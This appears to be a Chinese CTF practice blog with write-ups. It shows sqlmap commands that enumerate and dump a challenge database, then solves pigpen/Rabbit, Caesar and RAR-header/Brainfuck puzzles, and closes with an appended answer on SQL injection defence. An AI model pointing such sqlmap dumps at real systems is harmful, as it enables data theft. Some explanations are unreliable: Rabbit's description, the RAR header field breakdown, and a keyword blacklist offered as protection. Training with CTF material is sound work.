CTF练习题

目录

一、easy_sql

1.1 题目

1.2 思路

1.3 writeup

1.3.1 探测是否存在漏洞

1.3.2 查询所有数据库

1.3.3 获取数据库的表名

1.3.4 获取表的列名

1.3.5 获取列的字段内容

二、Rabbit&Pig

2.1 题目

2.2 思路

2.3 writeup

三、变异凯撒

3.1 题目

3.2 思路

3.3 writeup

四、用中文密码呀

4.1 题目

4.2 思路

4.3 writeup


一、easy_sql

1.1 题目

1.2 思路

  • 根据题目“easy_sql"可猜测这是 sql 注入漏洞,用 sqlmap 工具获取 flag。
  • sqlmap 是一个自动化的 sql 注入工具,其主要功能是扫描,发现并利用给定的 url 的 sql注入漏洞。
  • ps:sqlmap 安装教程参考文章

1.3 writeup

可使用下面语句查看 sqlmap 的参数以及用法:

python sqlmap.py -h

这些选项可用于枚举后端数据库管理系统信息、表结构与表中的数据:

-a,--all获取所有信息
-b,--banner获取DBMS横幅
--current-user获取DBMS当前用户
--current-db获取DBMS当前数据库
--passwords枚举DBMS用户密码哈希值
--dbs枚举DBMS数据库
--tables枚举DBMS数据库表
--columns枚举DBMS数据库表列
--schema枚举DBMS模式
--dump转储DBMS数据库表条目
--dump-all转储所有DBMS数据库表条目
-D DB要枚举的DBMS数据库
-T TBL要枚举的DBMS数据库表(s)
-C COL

要枚举的DBMS数据库表列(s)

--batch 可使得选项全选 yes。

1.3.1 探测是否存在漏洞

python sqlmap.py -u "http://139.155.53.188:10103/?inject=1"

经上述探测可得存在 sql 注入漏洞,中文翻译如下:

1.3.2 查询所有数据库

python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" --dbs

1.3.3 获取数据库的表名

选取任意一个数据库查询其表名:

python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli --tables

1.3.4 获取表的列名

选取任意一个表查询其列名:

python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli -T flag --columns

1.3.5 获取列的字段内容

经查询,该表仅有一个列,查询该列中的字段内容:

python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli -T flag --columns -dump

即得到最终的 flag:flag{patience_is_the_key_of_life}。

二、Rabbit&Pig

2.1 题目

给了一个 pdf 文件和 txt 文本,pdf 里面是一张图片,txt 里是文本,如下所示:

2.2 思路

题目蕴含解题信息,由“Rabbit&Pig”可以猜测该题用到 rabbit 加密和猪圈加密

Rabbit 序列密码是一种基于混沌理论的加密算法,它利用了混沌系统的随机性和不可预测性来保护数据的安全性。Rabbit 序列密码的加密过程包括以下步骤:

  • 初始化:生成一个随机的 128 位密和一个随机的 64 位初始化向
  • 密钥扩展:用密钥和初始化向量生成一系列的密钥和向量,用于后续的加密和解密操作
  • 加密:将明文分成 64 位的块,使用密钥和向量进行加密,得到密文
  • 解密:使用相同的密钥和向量对密文进行解密,得到明文。

Rabbit 序列密码的安全性主要来自于混沌系统的随机性和不可预测性,使得攻击者无法通过破解算法或暴力破解的方式来获取密钥和明文。

rabbit 是一个加密算法,不能通过暴力破解,需要密钥,而猪圈加密得到的明文可能就是密钥。

2.3 writeup

打开 pdf  文件,在 wps 里编辑图片时,可以得到这是两张图片叠加在一起的,将隐藏图片拖至空白处可见其图片信息,如下图所示:

很显然这是一串猪圈密码,用猪圈密码在线解密工具进行解密:

根据 txt 文本利用 rabbit 在线解密工具进行解密:

三、变异凯撒

3.1 题目

一个 txt 文件,内容为:mrfk~Gbsx]@]`mZjt。

3.2 思路

根据题目“变异凯撒”,可以猜测这是凯撒密码,利用随波逐流工具解密,或写 python 脚本实现。

3.3 writeup

m 要对应到 f 则需移动 7 个位数,该凯撒加密的偏移量为 7,将每个字母加 7 得 flag。 

四、用中文密码呀

4.1 题目

给了一个名为 rar 的文件,用记事本打开出现乱码,用010Editer打开如下:

4.2 思路

由文件名“rar”可得这大抵是个 rar 压缩文件,但现在显示不出来,可能为文件头缺失。题目为“用中文解密啊”,所以可能过程中解密出来会有中文。

4.3 writeup

网上搜索 rar 文件格式,可以得到 1a 前面缺失了 52 61 72 21 这几个数据。

52 61 72 21 1A 07 00 //左边是低字节 ,右边是高字节,这是 RAR4.x 的签名

签名即标志着该文件是由支持 rar4.x 版本的软件压缩而成,如果使用支持 5.0 版本的压缩软件压缩,其签名可能会不同。

  • 52 61:为头部校验和(HEAD_CRC),占两个字节,每一块均从 HEAD_CRC 开始,所有的 RAR 都以 52 61 开头;
  • 72:为块类型(HEAD_TYPE),占一个字节,所有文件都如此;
  • 21 1A 为块标记(HEAD_FLAGS),占两个字节;
  • 07 00:表示块大小 ,即 52 61 72 21 1A 07 00 (标记块)共占7个字节。

将 52 61 72 21 这几个数据加到 1a 前面,重新保存为 rar.rar:

得到一串数字:205341760008258571777309,用随波逐流解密,因为题目为“用中文密码啊”,所以得到明文为中文:

双击打开文件 flag.txt 还需要密码,将上述中文复制粘贴到密码框中:

打开文本文件,里面是是 Brainfuck语言 写的文本:

用随波逐流解密得 flag 为 flag{H55_a3n_L897_U268}:

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在处理SQL注入问题时,可以使用正则表达式来过滤用户输入的内容,以防止恶意注入。根据提供的引用内容,可以使用preg_replace函数来过滤用户输入的内容,将其中的关键字替换为空字符串。例如,可以使用以下代码来过滤用户输入的内容: ```php $username = preg_replace('/select|union|from|where|insert|update/','',$username); ``` 这样,如果用户输入的内容中包含了select、union、from、where、insert或update等关键字,这些关键字将被替换为空字符串,从而防止SQL注入的发生。 另外,根据第二个引用内容,你提到了一个具体的SQL注入练习题。在这个练习题中,你输入的参数inject的值是"1 union select 1,2,3"。根据引用内容,可以看出这个练习题中存在一个注入点,可以通过注入语句来获取数据库中的信息。 为了解决这个注入问题,可以使用预处理语句或者参数化查询来防止SQL注入。具体的解决方法取决于你使用的编程语言和数据库。下面是一个使用PHP和MySQL的示例代码,演示如何使用预处理语句来解决SQL注入问题: ```php $inject = $_GET['inject']; $stmt = $mysqli->prepare("SELECT * FROM table_name WHERE column_name = ?"); $stmt->bind_param("s", $inject); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // 处理查询结果 } $stmt->close(); ``` 在这个示例中,我们使用了预处理语句和参数绑定来执行查询,确保用户输入的内容不会被解释为SQL语句的一部分,从而防止SQL注入的发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值